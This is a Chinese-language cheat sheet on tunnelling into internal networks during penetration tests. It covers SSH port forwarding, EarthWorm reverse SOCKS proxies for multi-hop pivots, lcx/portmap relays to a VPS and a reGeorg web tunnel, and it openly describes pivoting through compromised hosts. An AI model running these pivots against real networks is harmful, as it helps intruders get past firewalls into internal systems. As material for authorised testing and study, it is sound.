Intranet_penetration内网穿透

内网渗透—内网穿透

ps:proxychains 不支持 udp 和 icmp 协议,所以使用 nmap 要加上-sT -Pn即使用 tcp 协议且不使用 icmp 协议

SSH 穿透

1
2
ssh -CNnTf -R 9999:localhost:80 root@1.1.1.1 [-o GatewayPorts=yes]
修改 /etc/ssh/sshd_config ===> GatewayPorts yes(好像还可以直接-g)

参数

1
2
3
4
5
6
7
8
-C 压缩传输 -f 不用登录到远程主机(后台运行)
-T 禁止分配伪终端(一般是伪终端) -n 一般-f连用
-N 这个连接仅仅做端口转发,不执行脚本和命令
-Nfn 一般连用
-q Quiet mode. 安静模式
-T Disable pseudo-tty allocation. 不占用 shell 了
-f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
-N Do not execute a remote command. 不执行远程命令,端口转发就用它了

也可以将本地1080转发到vps 1080
然后配置proxychains socks5 127.0.0.1 1080 即可使用proxychains代理了

本地转发
如vps上一个mysql只能自己访问 我可以本地本地转发监听1234即可当作远程3306使用,注意这个地方localhost指的是vps

1
ssh -L 1234:localhost:3306 root@x.x.x.x

也可用作内网渗透中转发出里面的服务。如把同内网的10.170.15.5的80端口转发到本地

1
ssh -L 1234:10.170.15.5:80 root@x.x.x.x

如果要想别人连我本地的1234也可以到远处去,则需要设置GatewayPorts 加一个 -g 即可

远程转发
如我是一个内网机器外面不能进来能出去(如防火墙,路由器下),我想别人访问我的什么端口,则来个远程转发到公网ip

1
ssh -R 2333:localhost:3306 root@x.x.x.x

访问公网x.x.x.x:2333即可访问我的3306了,(适用于控制的每台内网机器或者本地做msf需要被外面来连接meterpreter)

动态转发
相当于做了一个socks5代理 本地浏览器使用127.0.0.1 1080即可用x.x.x.x上网了 内网渗透跳板

1
ssh -D 1080 root@x.x.x.x

ew 穿透

Earthworm:工具地址 新版本工具网址

0x01 正向 SOCKS5 服务器

当目标网络边界存在公网 IP 且可任意开监听端口

1
ew_for_Win.exe -s ssocksd -l 8888

上述命令是在该机器开启一个 8888 的正向连接端口。然后其它主机可通过设置代理为 192.168.153.140:8888 添加这个代理

0x02 反弹 SOCKS5 服务器

当目标网络边界不存在公网 IP,通过反弹方式创建 socks 代理。先在一台具有公网 ip 的主机 A 上运行以下命令

1
./ew_for_linux64 -s rcsocks -l 1080 -e 8888

意思是在我们公网 VPS 上添加一个转接隧道,把 1080 端口收到的代理请求转交给 8888 端口

在目标主机 B 上启动 SOCKS5 服务 并反弹到公网主机的 8888 端口

1
ew_for_Win.exe -s rssocks -d 公网Aip -e 8888

然后通过添加公网Aip:1080 这个代理, 来访问机器B内网

0x03 二级网络环境(一)

场景:我得到一台公网B的权限,该公网B只能与内网中一台机器C通信,C机器(不能访问外网)能访问整个内网。

我—>B—>C—内网

先上传 ew 到 内网C主机,利用 ssocksd 方式启动 8888 端口的 SOCKS 代理,命令如下

1
ew_for_Win.exe -s ssocksd -l 8888

然后在公网边界的B主机执行

1
ew_for_Win.exe -s lcx_tran -l 1080 -f C_ip -g 8888

含义是将 1080 端口收到的代理请求转交给 C 机器的 8888 端口
然后 My pc 就可以通过 B 的外网代理 B_ip:1080 访问 C内网。

0x04 二级网络环境(二)

场景:我通过VPS(如反弹shell)控制了一台B机器,B机器没有公网ip,B只能与内网中一台机器C通信,C机器(不能访问外网)能访问整个内网。

我—>VPS—>B—>C—>内网

这次操作有四步。

1.在公网 vps添加转接隧道,将 10800 端口收到的代理请求转交给 8888 端口

1
./ew_for_linux64 -s lcx_listen -l 10800 -e 8888

2.C主机正向开启 8888 端口

1
ew_for_Win.exe -s ssocksd -l 9999
  1. B主机利用 lcx_slave 方式,将公网 VPS 的 8888 端口和 C 主机的 9999 端口连接起来
1
ew_for_Win.exe -s lcx_slave -d VPS_ip -e 8888 -f C_ip -g 9999

现在 my pc 可通过访问 VPS:10800 来使用 C主机提供的 socks5 代理,代理成功,vps 会有 rssocks cmd_socket OK! 提示

Lcx.exe&&portmap

我的公网

1
2
linux ----./portmap -m 2 -p1 8081 -p2 8080
window ---Lcx.exe –listen 10000 10001

被控的机器:

1
2
window ---lcx.exe -slave vps 8081 127.0.0.1 80
Linux ----./portmap -m 3 -h1 127.0.0.1 -p1 80 -h2 vps -p2 8081

被控linux:内网22端口连接到外网111.222.333.444的6666端口(6666端口已由lcx监听并转发),那么执行

$ ./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 111.222.333.444 -p2 6666

reGeorg

1
python reGeorgSocksProxy.py -p 1080 -u http://202.x.x.x/tunnel.php(asp/jsp)

ngrok

官网:https://www.ngrok.cc/

更适合于办公